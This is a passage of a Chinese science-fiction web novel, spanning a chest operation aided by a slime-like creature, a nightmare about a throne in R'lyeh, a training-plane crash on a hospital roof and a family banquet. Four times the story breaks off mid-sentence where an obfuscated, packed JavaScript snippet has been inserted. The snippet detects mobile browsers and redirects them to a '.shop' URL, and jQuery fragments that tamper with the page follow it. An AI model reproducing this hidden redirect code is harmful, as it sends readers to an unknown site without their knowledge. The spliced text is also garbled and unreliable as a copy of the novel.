每年审批到手的经费还不如空防总院的零头,都是行医治病,凭什么空防就比海防金贵?就因为星盗比异种难对付么?
谁说的?我呸!一群狗眼看异种低的东西!
30%……孙一敏恨恨地想。
有了这笔钱,胸外科那台磁共振胸腔镜就能换新的了。换了新的,高压肺损伤的微创修复就能正式立项……到时候再看看深蓝那帮杂碎还敢不敢拿鼻孔看人!
不愧是雷厉风行的女人,孙一敏已经在脑子里花完这笔钱了。
“孙主任?”
“成交!”女人激动地面色微红,“但我需要一份书面的特别指令,盖您的私章!”
万一将来被廉政公署查到头上,孙一敏总得需要一条能脱身的后路。
“那就,合作愉快。”薇拉将那份早就准备好的文件推过去。
“副署长,有句话我得说在前面。”孙一敏走到门口,握住门把手。
“手术台上,如果出现任何危及病人生命的异常状况,不管这份文件上写了什么,我都会按照医疗规程处理。这一点我不接受任何商量。”
“理解。”
.
换上一身新的手术服,孙一敏推开急诊手术室的大门。
里面安静得有些诡异。
艾达和三个实习医生愣愣地杵在原地,一动不动。病人也没有被抬上手术台,还在推车上躺着。
周围的手术器械依次摆好,铺巾展平,无影灯也挪过来了,所有准备工作到了最后一步。
“不想干了是不是!”孙一敏骂了句,快步走到跟前,“你们几个都——”
剩下的话被她咽回去。
推车上的病人,胸口蹲着一只东西。
通体半透明,像团果冻。头顶上戳着两只小小的锥形角,竖得笔直。体内有光点在快速游走,不断泛出冷白的光。
它正蹲在病人的胸口,牢牢扒住那层破烂不堪的作战服,整个团子扁扁的,好像在蓄力。
涅蓝的瞳仁缩成极细的两条,始终盯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483284|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着艾达手里那支针管,后者急得快哭出来。
举着针管的手不知悬了多久,手腕都抖了。
“主任……”艾达真的没招了,“我刚要给她推地塞米松,它、它就窜出来了。”
手术室内异常安静,只有无影灯嗡嗡作响。
孙一敏深吸口气,缓缓吐出,看了一眼监护仪。
很好,血氧87,还在往下掉。
“起开!”孙一敏上去就要抓它,“再磨蹭,直接送太平间吧!”
涅蓝身体立刻亮了一度,大量白色光点在体内聚集,不起眼,但危险。
很有眼色的孙一敏顿时调整策略。
“你好。”
回应她的是一道哈气。
想想那30%,孙一敏豁出去了。
她伸手绕过团子,搭在万里的胸骨上,两根手指轻轻按压。
“看到了吗?我可没拿针,什么都没有。”孙一敏试探着问,“你是她的……朋友?”
“家属?”
“宠物?”
“保镖?”
始终没反应。
“她快不行了,懂吗孩子?你再不走的话,她真的会死。”
涅蓝动了动,悄悄松开了作战服。
“很好。现在我需要你离开,”孙一敏敲敲推车边缘,“到这边来,可以吗?”
监护仪的报警声响了,血氧降到81。
妙脆角顿时耷拉下去,涅蓝扁扁地走开了。
“感谢配合。”孙一敏长舒口气,切回雷厉风行模式,“赶紧打麻醉!备血了吗?”
“备了!A型四百毫升!”
“不够,再追加四百。”
“是!”
“还有,”孙一敏头也不回,“艾达,给那位朋友找个地方待着,别让它碰到无菌区。”
被点到名字的护士头都大了,她磨蹭着,找了只不锈钢托盘。眼一闭心一横,迅速把团子铲到上头,搁在门口,全程不超过两秒。
无影灯正式亮起。
开胸刀切入血肉,孙一敏的手稳得像机器。
“肋骨牵开器。”
实习医生将机器卡入切口,螺杆旋转,万里的肋骨被撑开,露出胸腔。
“吸引。”
胸腔里的血水被抽走,内部状况逐渐清晰。
孙一敏执刀的手顿住。
她见过很多爆震伤的胸腔,按照经验,这里头应该是一片糜烂的血肉粥才对,可眼前的不是。
万里的内脏几乎完好无损,虽然也有巨量的碎肉粘在胸壁内侧,但整体结构没有塌陷。
“灯调亮。”孙一敏怕有看漏的地方。
白光顿时倾泻进胸腔,她俯下身,终于发现肺叶表面有些不对劲。
本该破裂的肺泡壁,被一些半透明组织覆盖,将碎裂的结构重新粘在一起。
孙一敏用镊子轻轻夹起一小片:半透明、有光点、还挺软。
吸引器仔细地清理着胸腔积血,到最后她发现万里胸腔中,有60%的器官都被透明组织修补过。
手法谈不上精细,有些地方粘得歪歪扭扭,有些地方多长了一层不必要的膜,但每一处致命伤都被堵上了。
孙一敏扭头看看蹲在托盘上的团子,竟生出一丝同行之间才有的敬意。
还好是个异种,这要是个人,无证行医不得让人告死!
旁边的实习医生小声问:“老师,这些组织,要不要取样送检?”
“什么组织。”孙一敏把镊子放回器械盘。
实习医生甲乙丙:“……”
13. 褐绿王座
万里漂浮在深渊带中。
这里的海水不再流动,仰头也无法看到海面,周围只剩一片凝固住的、无边无际的黑。
脚底那片东西巨大且不规则,万里找不到更合适的词,姑且叫它们建筑。
这片“建筑”的几何形状都是错的。墙壁会呼吸,道路会因为她的注视转弯,落到哪里,石板就朝哪个方向微微倾斜。万里越靠近,那些石柱上雕刻的花纹就越多,藤蔓一样往上爬。
「欢迎回到拉莱耶。」
什么声音?万里观察四周,声源无处可寻。
平静的水流忽然动了,托住她的后背,将她推向建筑群的中心。
那是一片空旷的广场,数百级石阶向上延伸,尽头有一张褐绿色的王座。
它的表面生满了不知道多少万年的锈蚀和寄生物,有些地方已经被蚀空,裂口处有红色的弧光在跳动,一明一灭。遮天蔽日的铁链悬浮在王座四周,没有支撑,海蛇一样飘游在水中,像守卫,又仿佛囚笼。
石阶上刻满了万里看不懂的符号,她直觉应该抗拒这道呼唤,可越想掉头,步伐就越稳。
“万里”目视前方,姿态从容,像是走过这条路千万遍。
广场边缘亮起一双巨眼,一眨不眨,随后是第二双、第三双……黑暗像被戳破了无数个窟窿,五颜六色的眼睛最先露出来,然后才是身体。
全是她认识或不认识的异种,它们各不相同,但都是匍匐跪地的姿态,全部朝向石阶上的她。
“万里”感受到了铺天盖地,近乎虔诚的臣服。
距离王座只剩下十米了。
「Ia!Ia!」
「Ia!Ia!」
「Ia!Ia!」①
异种们的呢喃从四面八方涌来,汇成嗡鸣,频率越来越整齐。
听着这些声浪,“万里”满足地闭上眼。在这些虚假的崇拜中,万里察觉到体内那道灵魂不停膨胀,舒展,把真正的她一点一点挤到角落里去。
“别过去!”
“万里”猛地停下。
朝拜者中间,一个女人站起,金发飞舞在水中,破旧的作战服像是被海水泡了许多年,布满了绿苔,领子袖口都烂了,露出苍白的皮肤。
不需要去确认什么,万里认得这道声音。
妈妈。
她想回头,可身体却继续朝王座走去。膝盖脚踝都不听她的,连脖子都被锁住了,只能面朝前方。
“万里!”
尤利娅朝石阶上的人影狂奔,即将碰到“万里”手腕时,一根触手从石阶地面射出,缠住了她的脚踝。
金发女人重重摔倒在地。
「hlirgh!」
「hlirgh!」
「hlirgh!」②
嗡鸣从赞颂变成了审判。
匍匐在地的异种们纷纷抬头,成百上千双眼同时看着倒地的金发女人。
“万里”没有回头。
令人牙酸的肢解声从背后响起,不多时,大量血雾绕开“万里”,缠绕上王座。很快,尤利娅惊惧的脸庞被定格在椅背上,同那上面其他千千万万张痛苦的头颅挤在一起,嘴巴大张,眼珠还在动。
“万里”来到王座面前,缓缓摸上扶手,表面那些锈蚀迅速褪去,好似在说欢迎回家。
别坐上去!
万里在意识中嘶吼,声音微不足道极了,瞬间被异种们越来越大的嗡鸣吞没。
“万里”的膝盖缓缓弯曲,甚至称得上优雅。
椅面上的头颅争先恐后地亮起来,头顶的铁链加速旋转,所有的异种同时低下头颅,而真正的万里什么都做不了。
“滴——滴——”
急促的仪器电子音突然响起,广场上空裂开一道缝,一束白光照在石阶上。
“……心率上来了,再推一支!”
“万里!能听到吗!”
这些声音隔着厚厚的海水,拉住了“万里”正在坐下的身体。
脚下的石阶开始一截截崩裂,异种们发出愤怒尖啸,王座深处传来即将碎裂的轰鸣,那些头颅疯狂闪烁,忽明忽暗。
椅背上,尤利娅挣扎着爬出,可她的身体早已和王座长到一起,皮肤也变成了褐绿色。金发女人伸出手,五指张开,指尖够向“万里”的方向。
广场上空那一束白光猛地照亮。
“滴——滴——”
“瞳孔有反应!”
万里用尽全身力气,勉强将手臂抬起,却只来得及抓到一缕金色头发。下一秒,王座骤然碎成粉末,尤利娅也消失了。
尖叫顿时冲出喉咙,整个梦境都跟着裂开,万里猛地睁开眼——
耳边监护仪急促地叫着,滴滴声连成一片,床边围了一圈穿白衣服的人。她偏过头,视线模糊了几秒,终于看清床尾的老万。
“请让一下。”薇拉的声音从右侧传来,几个白大褂立刻弹开。
老人来到床边,即便一身常服也是一丝不苟的样子,眼神很亮。
望着她满头的金发,万里有些怔愣,张了张嘴,喉咙火烧一样疼。
“拉莱耶……是什么。”
薇拉沉默片刻,替万里掖了掖被角:“先养伤。”
.
“……啊,对的,我就在薇斯珀海峡附近!”莉诺转头看了眼轮椅上的万里,对着终端那头压低声音,“你们还没回光都吗?这都快一周了吧?”
不知那边说了什么,莉诺翻了个白眼:“不用了,我可不想看见德伦那家伙!”
“是卖了,但泰拉地理没给钱啊,到时最多请你们吃食堂,先不聊了哈!”急急挂断电话,莉诺走到万里身旁。
透过天台围栏向外看,黄昏的薇斯珀海峡铺在下方。
十一月的第五海岸进入寒季,绝壁高崖上挂着一层灰白的盐霜,崖壁下的海水黑沉沉的,浪头来了又去,不急不缓。远处天边有些火烧云,尽头是灰都的轮廓,还是那么难看。
莉诺靠在围栏上,下巴朝海峡那边扬了扬:“真美。薇斯珀海峡的黄昏诶,梅洛格她们专门花钱跑过来看,门票还死贵。你倒好,住个院顺便把观景台也包了,别浪费啊。”
轮椅上的万里:“……”
她合上笔记,仰头看看比她高半截的围栏,言不由衷地附和:“嗯,确实美。”
“逗你的。”莉诺嘿嘿一笑,“我看你成天捧着这本笔记翻来覆去地看,都快翻烂了,里面到底写了什么?”
“我也不知道。”万里摸着笔记外层的防水皮套,回答得很实诚。
这本笔记是薇拉给她的。
那晚病房里只剩她们两个人,老万去签字了,护士换班还没来,走廊里空空荡荡,只有薇拉坐在陪护椅上,跟她聊了许多
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483285|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
老人说:“有关‘拉莱耶’是什么,我回答不了你,但这个也许可以。”
“这是尤利娅留下的。”她将这本笔记放在万里枕头边,“她在深渊带的那些年,把观察到的所有全记在这里了。那些符号、语言,那些……你们口中的‘拉莱耶’。”
笔记上没有标题落款,只有右下角刻了一只很小的符号。
“语言密码研究所的人也看过。”薇拉继续说,“那群人研究了五年,用遍了已知的语言学模型和密码破译手段,一个字都没译出来。最后得出结论说:这本笔记,是书写者在长期精神失常状态下产生的无意义臆想记录。”
想到那份报告,薇拉笑了。
那群搞研究的都是体面人,全程用“书写者”三个字代替了尤利娅,十分替斯塔列娃家族着想。
万里翻开第一页。
前半本十分工整,记录的是深渊带的水文数据,有大量的时间与坐标。再往后,字迹变得潦草,行间距忽宽忽窄,有些地方写了又划掉,划掉又重新写。
中间夹着大量万里看不懂的符号,不过它们和梦里石阶上刻着的那些纹路,一模一样。
翻页的手停了。
这页没什么文字,只有一张图,中间是个模糊的轮廓,没有明确边界,有的线条甚至画出纸张边缘,黑色的线条密密麻麻。
没有任何特征标志,但万里直觉这上面画的就是梦中那片广场。
一道尖锐啸叫从海峡方向传来。
万里脱离回忆,下意识抬头——
一架单人滑翔训练机拖着一股黑烟,机翼歪了一边,推进器喷着火星,正以极刁钻的角度朝天台方向坠过来。
里面的飞行员大概还在拼命操控,因为那架机体在空中歪歪扭扭地画了两圈,在万里看来,很像码头那只叫黑手的海鸥,它每次偷薯条得手后都会这样嘲笑人类。
“我去你的!”莉诺推起轮椅就跑。
训练机擦着天台围栏的顶部砸下来,机腹刮过栏杆,削掉两根铁柱,机体犁过观景台的地面,直冒火星子,最后一头撞在天台角落的通风管道上,停了。
机油淌了一地,火星子蹦到油面上,顿时蹿出一条矮矮的蓝色火线,随即“轰——”地一下,整架训练机燃起大火。
一条火线顺着满地机油到处乱爬,最后来到轮椅底下,火舌舔上纱布,那条打着石膏的右脚开始冒烟。
万里:“……”
楼梯口的门被一脚踹开。
艾达拎着灭火器走来,甚至有些闲庭信步,她绕过那架烧得很厉害的训练机,最先扑灭了万里附近的火苗。
“艾艾艾达,那里面是不是还有人啊?”莉诺显然受到了惊吓,就差踩轮椅上头了。
“是的。”
“那那那、那不用去灭火吗?”
艾达冲着莉诺微笑:“不用担心哦~”
话音刚落,驾驶舱被大力顶开,驾驶员从里面爬出来。
他一头短毛乱糟糟地竖着,半张脸都是血,从眉骨一直淌到下巴。
整个人狼狈地滚出来,带着一身火苗,艾达“啧”了一声,抡起灭火器照着他就是一顿呲。
好半晌驾驶员回过神,顶着一脑门子干粉环视四周,对上不远处的三道视线后,他眨眨眼,咧嘴笑了,露出一口沾着血的牙。
“呃……嗨?”
14. 何遇白同学
年轻护士掏出终端,在屏幕上点点按按。
“围栏维修费一万二,地面修缮费三千五,通风管道更换费八千,灭火器损耗费两百,石膏重新包扎的医疗材料费六百。”
她把终端杵到驾驶员跟前:“确认一下账单,没问题的话直接对接保险公司了。另外,你可能要向这两位支付精神损失费。”
驾驶员捂着脑袋站起来,身体摇摇晃晃:“艾达姐,我……这些东西我都会修,真不用找保险公司定损。”
“飞行系的保险池子快见底了,再报一次,明年的保费又得涨。”
“何遇白同学。”艾达一声冷笑,收回终端,“这是今年的第七次,你的第二次!我有理由怀疑你们飞行系为了节省赔偿成本,故意拿我院的观景台当备降点。”
护士往前迈了一步,灭火器杵在地上,当当直响。
“放着你们自己的深蓝总院不撞,每次都往我们深红跑?离得近不是借口!军事学院的东校区离深蓝总院也就两公里,两公里都飞不了?”
何遇白听完脑袋更晕了。
“啊?说话!”
“这位……还有这位,实在对不起。”他决定岔开话题。
何遇白扶着栏杆,勉强鞠了躬,头上的血顺着鼻梁滴在地上:“精神赔偿,你们说个数吧。”
莉诺觉得这声音有点耳熟,却忘了在哪听过:“别了,你还是留着给自己看病吧。”
“1床——万里在吗?”楼梯口有护士在喊,“负一层拍片子!”
“来了!”莉诺推起轮椅就走。
艾达打量何遇白的脑门,心说这小子头上的伤看着不浅。
“要挂个号吗?”
何遇白的脑袋摇得快极了,一点看不出刚才的难受劲儿:“算了吧,这儿不给报销,我得回深蓝总院。”
“我说吧,就是成心的!”
艾达一声冷哼,拎着灭火器走了。
观景台安静下来。
夕阳把地面照成暗橘色,何遇白目送她消失在楼梯口后,慢慢收回那副狼狈相。
“嗡——”
终端突然震动,他拍拍手上干粉,按下接通。
“见到她了?”
“见到了。”何遇白夹上终端,从着火的驾驶舱里拖出书包,对着底部的火星子拍了又拍。
“如何评估?”
“不是我说,你们是不是未雨绸缪得有点早了。”何遇白靠在机翼边上,一边欣赏薇斯珀海峡的绝美落日,一边拿袖子擦脸。
“人家还坐着轮椅呢,脚打石膏,头缠纱布……那位铁娘子再心急,也不可能把一个半残废硬塞进编制吧。”
电话那头沉默片刻。
“你懂个屁!她一旦进了深红序列,到时候再想挖人就晚了。别扯这些,你就没有其他发现?”
“没有。”何遇白吸吸鼻子,“没瞧见什么异常。那些话八成就是迪昂喝多了胡咧咧的,怎么能当真呢。”
什么几百米高的利维坦,什么从天而降的巨型异种,什么大的打小的跟老子打儿子似的……
何遇白觉得迪昂那货一定是加班加出幻觉了。
“那你先回——等等。”电话那头一顿,“斯塔列娃家下周有个宴会,你知道吧?”
“知道啊……”何遇白打了个哈欠。
“正好你去。”
“你是不是忘了我姓什么?”何遇白乐了,“我出现在斯塔列娃家的宴会上,那叫军火商上门推销,吃相太难看了,会影响我家股价的。”
“那个万里,在军事学院下学期的预录取名单上,你就以学院迎新联络员的身份过去。一个渔村猎人的宴,宾客全是将星和议员,你不觉得蹊跷?她身上一定有什么东西……”
其实何遇白想说这并不蹊跷,毕竟人家是祖孙,请谁来不是请?但他换了个角度。
“不是,她一指挥系的,轮得到我这个飞行系的过去迎新啊?”
“轮得到!”电话那头急了,“不去就等着延毕吧!”
何遇白对着熄灭的屏幕看了两秒,确认是被对面甩了脸子。他站在原地,认真捋了一遍这几年的日子,得出结论:
回去继承家业不好吗?当初怎么就非要来云都给这帮人当孙子?不,还不如孙子,至少他爷没这样吼过他。
叹了口气,何遇白拎起书包,结果书包也不争气,底部被烧裂了,里头东西漏了一地,全是不值钱的零碎。
他越看越来气。
“去你大爷的!”
短毛儿终于破防,一脚把倒霉书包踹到楼下,可踹完就想起证件还在里头。
.
这是万里第二次来到光都,上次是十年前。
东部主城的繁荣程度比《起航》杂志上还要夸张,夸张到她以为这是另一颗星球。直到悬浮车拐上盘山公路,那栋记忆中的私邸出现后,才感觉回到现实。
老万推着万里进去时,门厅里已站了不少宾客。
那些人的眼神说不上同情还是打量,扫一眼父女就继续聊天。亲戚们的反应也差不多,点下头算是打过招呼。
万里认为这很好。
野孩子不用装乖,文明人也不用装亲,两边都好。
宴会开始时,除了在薇拉身边亮相五分钟,其余时间万里都在餐桌附近活动。
手腕上的涅蓝蠢蠢欲动,时不时抠下一点食物碎屑。万里用盖毯打掩护,叉了块熏鱼送到毯子底下,瞬间被分解。
小牛排,走你。
香煎扇贝,走你。
鱼子酱塔壳,走你。
涅蓝显然心情不错,很给面子地没抢盘子。她也难得省心,顺手叉起一块奶霜慕斯,走你!
手腕上的东西嘎巴一下吃死过去。
万里:“……”
完,忘了它对牛奶过敏。
粗心的人类拽拽袖子,找路过的侍者要了杯气泡饮,假装无事发生。
正想把涅蓝倒出来看看死透没有,身旁忽然多出道小小身影。
是个六岁左右的男童,趴在桌沿上够那盘达克瓦兹,万里见状把碟子推到他面前。
男孩腼腆笑了,歪着头打量万里,视线转了一圈,最后落到她的右手袖口。
万里警觉起来,同时闻到淡淡的海腥味,几乎被食物气味盖住。她看到男孩的脖颈处有道疤痕,下方埋着发光的微型装置。
声波抑制模块。
是生物工程部的试行技术,嵌在声带附近的软组织中,用来阻断特定频率的声波输出,目前只用在一类对象上——
回声异种。
“不好意思!”
一只手忽然攥住男孩肩膀。
女人妆容精致却难掩慌乱,勉强维持着微笑,带着男孩转身就走。
那只小异种回头朝餐桌方向挥了挥手,万里目送这对“母子”离去。
明知危险,却还要制造一个不会发生的重逢……万里敬佩这种刻舟求剑的精神,对着女人消失的方向遥遥举杯。
舞池里的音乐换了。
弦乐轻轻地起了头,钢琴跟上来,几个音符散散落落地铺开,带着旧日的温柔,有女声轻唱:
【我们终将重逢】
【毕竟天地如此窄小】
万屹站在舞池边缘,手里举着不知第几杯香槟,一边嫌弃没劲儿一边往嘴里灌。
这首曲子他记得。
二十三年前,灰都中部高地的一家酒馆里,收音机放的就是这首。
他躲雨到了那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483286|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,尤利娅坐在吧台边上,手里捧着热巧克力,正跟酒保争论热巧克力里该不该加盐。
“盐能提味。”尤利娅说。
“盐是异端!”酒保回答。
万屹在门口站了会儿:“能借把伞吗?”
他问的是酒保,看的却是她。
“司令。”
万屹回神,面前站了两男一女。他们衣着光鲜,笑容得体。其中一个是总署后勤部的处长,另外两个不认识,看着像一路的。
处长行了个军礼:“好久不见,驻防这些年辛苦了。”
万屹握了下男人的手:“还成。”
“刚才见到你女儿了,她很勇敢。”处长停顿了下,换上缅怀的神情,“尤利娅要是看到她现在的样子,一定很欣慰。”
女人配合地叹气:“是啊,走得太突然了,我们都很惋惜。”
另一个男人接上:“尤利娅一直是最优秀的,这么多年了,我们都很想念她。”
三个人切换到“节哀顺变”模式,微微侧头,眉头恰到好处皱起,温柔又哀伤地……举杯相碰。
【要知道在这小小天地】
【一切都那么弥足珍贵】
万屹突然感到厌烦:“你们都认识尤利娅?”
“当然!”处长热情地说,“早年在总署的时候,我们经常——”
“她喜欢喝什么?”万屹打断。
三人一愣。
“她喜欢喝什么?”他又问。
三人面面相觑。
“这个……”处长笑着耸肩,“毕竟这么多年了。”
“她喜欢喝加盐的热巧克力。”万屹说,“热得烫嘴的那种,再加半勺盐,少一点都不行。”
三人的微笑僵在脸上。
万屹把手里那杯香槟仰头闷了,又拿起另一杯灌进嘴里,他解下西装外套,随手搭在路过的侍者肩上。后者端着托盘,表情介于困惑和惊恐之间。
处长的笑容出现裂痕:“这是?”
“你们不认识尤利娅。你们认识的那个人叫尤利娅·斯塔列娃,是那行编号、履历……是后面的姓氏。”
【转啊转,那张老唱片】
【你我曾如此喜欢】
“你们不认识她。”万屹又闷了一杯,“所以请你们,不要用那种表情,提起她的名字。”
三人一时摸不清这个鳏夫的路子。
万屹忽然靠近油亮头发的男人,双手张开,像只发疯的螃蟹,又若无其事地转身,大声跟唱起那首音乐。
他身体摇晃,步伐凌乱,实在不体面。
剩下的三人对视一眼,纷纷后撤,消失在人群中。
万屹独自走进舞池。
还在舞动的人旋转着让路,有人拉着同伴退到边上,他什么都不管了。
起势,转身,收肩,抬手。
万屹闭着眼,右手虚虚揽在半空,左手抬起,像是真的握着谁的掌心。
巨大的宴会厅灯火通明,衣香鬓影的人群中空出小块地方,一个喝得半疯的中年男人在独自起舞。
【往日那些记忆】
【我把它们精心保存】
男人所到之处,起舞的人纷纷避让,尴尬在空气里蔓延,那些人或许在后悔今晚为什么要来。
只有万里笑了。
她看着老万,在满屋无措的目光中独自跳着双人舞,落脚甚至比舞池里任何一个男步都要精准。
就像他一直都知道“舞伴”在哪。
一直知道。
【痛苦的心没有答案】
【但一切正在好转】
音乐渐近尾声。
弦乐慢慢退去,只剩钢琴孤零零地响着,一下一下,敲在万屹始终抬着的那只手上。
15. 沉碑社
“你也觉得这人挺搞笑的吧?”
万里收了笑,仰头望向来人。
还是那头狗啃短毛,额上有块方形止血贴,西装笔挺,人模狗样极了,跟观景台上那个毛躁的驾驶员判若两人。
只是他语气冒昧,万里没接话。
何遇白丝毫没察觉,还觉得话题切入得高明,调侃没停:“别说,他转得还挺稳当,也不嫌脑仁疼。”
“确实稳当,”万里点点头,语气平静,“感谢你对家父舞姿的点评,麻烦让一下。”
她按下扶手按钮,轮椅自动规划路线,开始前行。
家父。
何遇白心里咯噔一下。
胡德那家伙可没说过万里他爹是这种画风!
“呃……我不是那个意思!”他下意识薅住椅背。
轮胎在石材地面上划出一声尖响,半个厅的人都拿余光扫了过来。
万里被惯性带偏了上半身,差点一头栽出去,她迅速握住把手,强忍骂人的冲动:“你有事?”
“我这人说话不太中听……”何遇白抓抓后脑勺,觉得没话硬聊实在尴尬,“就是想为那天的意外跟你道歉。”
“不用了。”
万里重新理好滑下去的盖毯,按下按钮,轮椅刚动了半圈,椅背又被拽住。
“找死!”被惹恼的万里张嘴就骂,也不管周围都有谁,她只恨开罐器掉在远海捡不回来,否则现在就能再送他一道口子。
“喔喔……冷静冷静。”何遇白被这股匪气吓得举起双手,后退一步,“我没有冒犯的意思,我只想问——”
“这谁?”
老万结束发疯,西装皱巴巴垂在臂弯,晃着过来,不怎么善意地打量这个短毛儿。
何遇白还在组织语言,就听万里来了句“不认识”。
不认识?那能行吗不认识!
“叔叔!我家是天擎重工!”何遇白急了。
管谁叫叔呢……万屹狐疑地看他:“何平的儿子?”
“哎哎!”何遇白点头如捣蒜,“我家前年给第八海岸捐过二十台岸防基座!”
老万顿时换了副亲切表情,蒲扇大手拍在何遇白后背,力道十足。
“唉呀哈哈!”他搂着人转身,顺手把这小子夹进腋下,脸上还在笑,声音却咬牙切齿,“说,干嘛来的?”
刚才那一手拽椅背,万屹可是看得清清楚楚。
何遇白被他一身酒气熏得脑子发懵,思考了两秒,张嘴就来:“叔,我是您女儿的粉丝!”
万里:“……”
她表情有点复杂,心想自己什么时候出道的,怎么没人通知她?
“我特别仰慕万里同学徒手面对T0级异种面不改色的心理素质!”何遇白调出终端,壁纸一亮,“这儿呢!”
万屹看去,画面上正是万里和那只原初修格斯,胳膊的力道立马松了几分。
“所以我们能合个影吗?”何遇白双手合十,卑微地请求。
万里看他一眼,心中转开了。
莉诺说,云都这群二代最不缺的就是钱,花起来跟海水倒灌似的拦都拦不住……她的眼神扫过何遇白左耳的耳钉,再到袖扣,最后落到一尘不染的皮鞋上。
主动送上门的大肥羊,不宰不是人。
“能,收费。”她说。
“应该的应该的。”何遇白洗耳恭听。
“我要一座信号塔。”
“……”
“外加一座信号基站。”
“你看我像不像信——”何遇白猛地闭嘴。
深呼吸了两轮,他还是有些无法接受这个价格。这人完全可以明抢的,却还要送他一张合影。
真敢开口……这都赶上乐队一次商业站台了,刚要回绝,脑子忽然拐了个弯儿。
信号塔加基站,往后安装得有人跟进,跟进就得联络吧?联络就得见面吧?见面不就能接着查了吗?
回头这笔钱就叫胡德走沉碑社的账,不批就写首歌骂他。
何遇白咬牙:“行!”
说完就势下蹲,跟轮椅一边儿高,摆姿势的间隙,不着痕迹地往万里身上瞄,试图找出点不寻常的……
“往哪儿看!”老万呵斥。
何遇白立刻收敛,对着镜头露出标准笑容,万里还是那副表情,坐得板板正正。
“好了。”万屹把照片空投给他,“先付定金。”
“付!”
何遇白逼着自己给万屹扫了二十万过去,根本不敢看余额变动,心疼得什么似的。
“那咱能加个星网好友吗?”他趁热打铁,觉得二十万怎么也够买个联系方式了。
“我没有终端,所以不能。”
“孩子,渔村记你一份人情。”万屹拍拍这个傻缺肩膀,“回头替我问你爷爷奶奶好!”
说完推起轮椅就走。
人群缝隙里,何遇白看到万里仰起头,万屹阴险一笑,会意抬手——
“啪!”一个脆亮的击掌。
他甚至听到了黑闪的动静。
“没有终端……没有终端?”他转头看见路过的侍者,一把薅住人家,“你有终端么?”
侍者被他吓了一跳:“有、有的先生。”
何遇白点点头,从托盘里拿了杯香槟仰头灌下,许久:
“她说她没有终端!”
“……您慢用。”侍者不知道这位犯的什么病,迅速离开。
手腕上终端亮了,何遇白第一反应是把它扔出去。这东西就像拴在牲口脖子上的套,一响就代表要拉磨了。
“该死的胡德。”他恶狠狠骂了句,点开,上面只有一句话:
【速归,弥香挖到东西了】
何遇白的手指在光幕上翻飞:
【速不了,这附近禁飞】
对面回得也很快:
【飞行器停在后院草坪,弥香把周边的近场防御阵列断电了,你还有四分钟。】
何遇白冷笑一声,没回,结果又弹出一条:
【忘了说,是你名下的飞行器。】
西装革履的年轻人沉默了,下一秒直直往楼梯上跑,扶着栏杆连蹿数级,领带在风里飘成一条狗尾巴。
关掉终端,对面的胡德嘿嘿一笑,两撇小胡子颤巍巍的,看着就欠揍。
他转头看向角落:“你这样神不会原谅你的。”
角落里传来跟胡德一个路数的动静。
十五岁的弥香缩在转椅上,黑色修女袍的下摆散乱堆叠,白色硬头巾几乎遮住眉毛。女孩面前悬浮着三块屏幕,荧光映在头巾边缘,像给圣母像渡了层赛博柔光。
“嘿嘿。”弥香用胸前项链画了个十字,“神不上网,祂忙着呢。”
说着她指着最大的那块屏幕,冲胡德招招手。
画面里是斯塔列娃家私邸的某处监控——
何遇白冲上草坪,一脚绊在起落架上差点摔出去,驾驶着飞行器麻利贴着云都的天际线滚了。
一大一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483287|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小嘻嘻哈哈乐了不到十分钟,门被一脚踹开。
外头站着画面主人公,捧着头盔呼哧带喘,一头短毛更乱了。
“回来了。”胡德明知故问,“怎么样?”
嘴里的脏话攒了一箩筐,可何遇白最终没说什么,歪进豆袋沙发一动不动。
就是吃了太有素质的亏,他想。
“二十万,给我报销。”
“钱的事回头再说。”胡德照例打太极,“先干正事,你给他看看挖到的东西。”
弥香翻转左边那块悬浮屏,推到何遇白面前。画面上是一张折线图,横轴时间,纵轴数字,最近一周的曲线陡峭无比。
“这什么?”何遇白看了又看,“咱们专辑首日?”
弥香:“醒醒吧你!”
“这是云都精神卫生中心,过去十天的急诊收容量。红线是今年,灰线是去年同期。”
